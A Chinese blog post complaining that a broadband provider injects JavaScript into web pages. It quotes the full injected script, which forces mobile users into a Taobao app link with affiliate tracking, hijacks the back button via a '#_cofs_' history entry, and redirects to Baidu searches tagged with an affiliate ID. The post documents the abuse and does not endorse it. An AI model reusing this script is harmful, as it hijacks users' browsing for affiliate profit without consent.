记运营商劫持JS，事情正在处理中！

自安装广电宽带后，麻烦不断，几次发现在浏览网站时被加载恶意JS广告代码，第一次是网吧导航，换了路由器固件，找售后换路由器，网站过滤等操作后，网吧导航终被干掉，事情到此结束。
然而前天在修改网站时，又发现网址被加载其它代码，#_cofs_

浏览器查看页面加载的js，先是劫持了jquery库，把jquery删除后又发现，会被随机劫持所有JS，NND用得真不操心，打电话广电客服，交涉了几个人都是叫我换路由器，没办法，把路由器固件再次还原出厂，对电脑进行全面杀毒，路由器连接其它网络，发现只要连广电的宽带就会出现这个问题，连接其它网络全正常，再次致电客服技术部，得到的结果还是换路由器。

附JS代码：

!function() {
    var e = window.navigator.userAgent.toLowerCase();
    window._colf_ = {
        randomName: function(e) {
            e = e || 8;
            var t = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz"
              , n = t.length
              , o = "";
            for (i = 0; i < e; i++)
                o += t.charAt(Math.floor(Math.random() * n));
            return o
        },
        addCSS: function(t, e) {
            var n = null
              , o = e || document.head || document.getElementsByTagName("head")[0];
            try {
                (n = document.createElement("style")).type = "text/css";
                var a = document.createTextNode(t);
                n.appendChild(a),
                o.appendChild(n)
            } catch (e) {
                (n = document.createStyleSheet()).cssText = t
            }
        },
        trim: function(e) {
            return e.replace(/(^s*)|(s*$)/g, "")
        },
        isAdr: e.match(/android/i),
        isWc: e.match(/micromessenger/i),
        isIos: e.match(/iphone/i) || e.match(/ipad/i),
        isWds: e.match(/windows/i),
        isMac: e.match(/macintosh/i),
        isIe: e.match(/msie/i),
        blf: function(e) {
            document && document.body && document.body.insertBefore ? e() : window.addEventListener ? window.addEventListener("load", e, !1) : window.attachEvent("onload", e)
        }
    }
}(),
(_colf_.isIos || _colf_.isAdr) && _colf_.blf(function() {
    window.location = "tbopen://m.taobao.com/tbopen/index.html?source=auto&action=ali.open.nav&module=h5&bootImage=0&h5Url=https%3A%2F%2Fh5.m.taobao.com%2Fbcec%2Fdahanghai-jump.html%3Fspm%3D2014.ugdhh.4020516807.1208-615%26bc_fl_srcgrowth_dhh_4020516807_1208-615&spm=2014.ugdhh.4020516807.1208-615&bc_fl_src=growth_dhh_4020516807_1208-615&materialid=1208"
}),
function() {
    var e, o = document, t = o.referrer, a = {
        getHost: function(e) {
            var t = o.createElement("a");
            return t.href = e,
            t.host
        },
        checkSearcher: function() {
            var e = a.getHost(t);
            return /^(spd?|md?|hd?|www|wap|transcoder).baidu/.test(e) ? "bd" : "null"
        },
        splitSearch: function() {
            var o = {}
              , e = t.split("?") || [];
            return e[1] && e[1].replace(/([^&]*)=([^&]*)/g, function(e, t, n) {
                o[t] = n
            }),
            o
        },
        splitStr: function(e) {
            return ((e = e || "").match(/([u4e00-u9fa5a-zA-Z0-9]+)/gi) || [e]).sort(function(e, t) {
                return e.length - t.length
            })[0]
        },
        getKeywords: function() {
            for (var e = o.getElementsByTagName("meta"), t = 0; t < e.length; t++)
                if ("keywords" == e[t].name)
                    return e[t].content;
            return ""
        },
        _events: function(e) {
            try {
                var t = function() {
                    ~location.hash.indexOf("_cofs_") || e && e()
                };
                window.onpopstate ? (history.pushState({
                    page: 1
                }, "", location.href + "#_cofs_"),
                window.addEventListener("popstate", t, !1)) : (location.hash = "#_cofs_",
                window.onhashchange = t)
            } catch (e) {}
        },
        triggers: function(e) {
            var t = o.createElement("a");
            if (t.rel = "noreferrer",
            t.href = e,
            t.target = "_self",
            o.body.appendChild(t),
            o.createEvent) {
                var n = o.createEvent("MouseEvents");
                n.initEvent("click", !0, !0),
                t.dispatchEvent(n)
            } else
                t.click();
            setTimeout(function() {
                window.location.href = e
            }, 1500)
        },
        addIfr: function() {},
        makeTitles: function(e) {
            var t, n = a.splitSearch();
            switch (e) {
            case "bd":
                t = decodeURIComponent(n.title || "");
                break;
            case "so":
                t = decodeURIComponent(n.q || "");
                break;
            case "sg":
                t = decodeURIComponent(n.keyword || "")
            }
            return t || o.title || a.getKeywords()
        }
    }, n = a.checkSearcher(), r = a.makeTitles(n), c = a.splitStr(r), i = !1, d = !0;
    if (!t) {
        if (!_colf_.isIe)
            return;
        if (6 < !Math.floor(20 * Math.random()))
            return
    }
    "null" == n && (d = !1);
    var s = "1013725b";
    i = ~t.indexOf(s),
    e = "https://m.baidu.com/s?word=" + c + "&from=" + s,
    _colf_.blf(function() {
        Boolean(i) ? a.addIfr() : a._events(function() {
            d ? a.triggers(e) : Math.floor(20 * Math.random()) < 6 && a.triggers(e)
        })
    })
}();